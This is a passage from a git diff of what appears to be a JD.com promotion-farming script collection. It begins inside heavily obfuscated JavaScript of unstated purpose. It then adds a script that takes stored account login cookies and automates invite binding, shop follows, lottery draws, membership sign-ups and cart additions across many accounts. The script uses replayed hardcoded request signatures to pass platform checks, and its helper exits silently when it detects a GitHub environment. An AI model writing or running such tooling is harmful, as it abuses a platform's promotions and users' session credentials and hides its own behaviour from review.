d0')]],0x0)){$[_0x22d4('‮2f')]=_0x56881e[_0x376530[_0x22d4('‮b9')]]&&_0x56881e[_0x376530[_0x22d4('‮b9')]][_0x22d4('‮ca')]||$[_0x22d4('‫2a')];}else{if(_0x376530[_0x22d4('‫d1')](_0x376530[_0x22d4('‫d2')],_0x376530[_0x22d4('‫d2')])){$[_0x22d4('‮2f')]=$[_0x22d4('‫2a')];}else{$[_0x22d4('‮2f')]=$[_0x22d4('‫2a')];}}}}else{console[_0x22d4('‫a')](_0x22d4('‮d3'));}}else{_0x247b63[_0x22d4('‮d4')](_0x5e50ea);}}}catch(_0x17e977){$[_0x22d4('‮6e')](_0x17e977,_0xd57885);}finally{_0x376530[_0x22d4('‫d5')](_0x5e50ea);}});}});}function getUUID(_0x1f7017=_0x22d4('‫16'),_0x52f24f=0x0){var _0x50a33a={'dSjhw':function(_0x1f7017,_0x4e5e57){return _0x1f7017|_0x4e5e57;},'lvpfj':function(_0x1f7017,_0x2eabe7){return _0x1f7017*_0x2eabe7;},'FUNaY':function(_0x1f7017,_0x1ccd77){return _0x1f7017==_0x1ccd77;},'ETeZB':function(_0x1f7017,_0x58f84a){return _0x1f7017&_0x58f84a;}};return _0x1f7017[_0x22d4('‮d6')](/[xy]/g,function(_0x1f7017){var _0x383d2b=_0x50a33a[_0x22d4('‮d7')](_0x50a33a[_0x22d4('‮d8')](0x10,Math[_0x22d4('‫a8')]()),0x0),_0x428170=_0x50a33a[_0x22d4('‮d9')]('x',_0x1f7017)?_0x383d2b:_0x50a33a[_0x22d4('‮d7')](_0x50a33a[_0x22d4('‫da')](0x3,_0x383d2b),0x8);return uuid=_0x52f24f?_0x428170[_0x22d4('‮db')](0x24)[_0x22d4('‫dc')]():_0x428170[_0x22d4('‮db')](0x24),uuid;});};_0xodg='jsjiami.com.v6'; +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_jinggengjcq_dapainew.js b/jd_jinggengjcq_dapainew.js new file mode 100644 index 0000000..43147bf --- /dev/null +++ b/jd_jinggengjcq_dapainew.js @@ -0,0 +1,402 @@ +/* +actId 活动id +无内置,助力ck1,默认不跑 +7 7 7 7 7 jd_jinggengjcq_dapainew.js +*/ +const $ = new Env("大牌联合"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let actId = process.env.actId ?? ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + authorCodeList = [ + '', + ] + $.appkey = "51B59BB805903DA4CE513D29EC448375" + $.userId = "10299171" + $.actId = actId + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + console.log('去助力 -> '+$.authorCode); + await openCardNew(); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function openCardNew() { + $.token = null; + $.buyerNick = null; + $.activityInfo = null; + await getToken(); + if ($.token) { + await task('activity_load', { + "actId": $.actId, + "inviteNick": $.authorCode, + "jdToken": $.token, + "source": "01", + }) + if ($.buyerNick) { + console.log('1.助力码 -> '+$.buyerNick) + if ($.index === 1) { + ownCode = $.buyerNick + console.log("后面的将给这个助力码助力 -> "+ownCode) + } + console.log('2.绑定助力 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "relationBind", + "inviterNick": $.authorCode, + }) + await task('shopList', { + "actId": $.actId, + }) + console.log('3.关注店铺 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "uniteCollectShop", + }) + console.log('4.抽奖 ->') + await task('draw/post', { + "actId": $.actId, + "usedGameNum": "2", + "dataType": "draw", + }) + console.log('5.加入会员 ->') + if ($.shopList) { + console.log('会员卡数量 -> '+$.shopList.length) + for (const vo of $.shopList) { + $.log(`${vo.userId}`) + if (!vo.open) { + $.log("开通会员") + await getShopOpenCardInfo(vo.userId) + await bindWithVender(vo.userId) + await task('complete/mission', { + "actId": $.actId, + "shopId": vo.userId, + "missionType": "openCard", + }) + await $.wait(3000) + } else { + $.log("已经是会员了") + } + await $.wait(500) + } + } + console.log('6.加入购物车 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "uniteAddCart", + }) + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, preParams) { + body = { + "jsonRpc": "2.0", + "params": { + "commonParameter": { + "appkey": $.appkey, + "m": "POST", + "timestamp": new Date(), + "userId": $.userId + }, + "admJson": { + "method": `/openCardNew/${function_id}`, + "userId": $.userId, + "buyerNick": $.buyerNick ? $.buyerNick : "" + } + } + } + Object.assign(body.params.admJson, preParams) + return new Promise(resolve => { + $.post(taskUrl(function_id, body), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.success) { + if (data.data.status === 200) { + switch (function_id) { + case 'activity_load': + $.buyerNick = data.data.data.buyerNick; + console.log("[ "+data.data.data.cusActivity.actName+" ]"); + break; + case 'shopList': + $.shopList = data.data.data.cusShops; + break; + case 'complete/mission': + console.log(data.data.data.remark); + break; + case 'draw/post': + console.log(data.data.data.awardSetting.awardName); + break; + default: + break; + } + } + } + + } else { + $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify({ venderId: venderId, channel: 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify({ "venderId": venderId, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "channel": 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888&h5st=20220412164645241%3B3634d1aeada6d9cd11a7526a3a6ac63e%3B169f1%3Btk02wd66f1d7418nXuLjsmO3oJMCxUqKVwIf4q1WRptKRT3nJSrx01oYYBAylbSuyg4sipnEzyEJOZuFjfG2QERcBtzd%3B6b455234e93be4ec963cd7c575d70882b838ba588149a1f54b69c8d0dacf14da%3B3.0%3B1649753205241`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + console.log("开卡成功") + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body) { + return { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/openCardNew/${function_id}?&mix_nick=${$.buyerNick ? $.buyerNick : ""}`, + headers: { + Host: 'jinggengjcq-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/json; charset=utf-8', + Origin: 'https://jinggengjcq-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: 'https://jinggengjcq-isv.isvjcloud.com/fronth5/', + Cookie: cookie + }, + body: JSON.stringify(body) + + } +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = 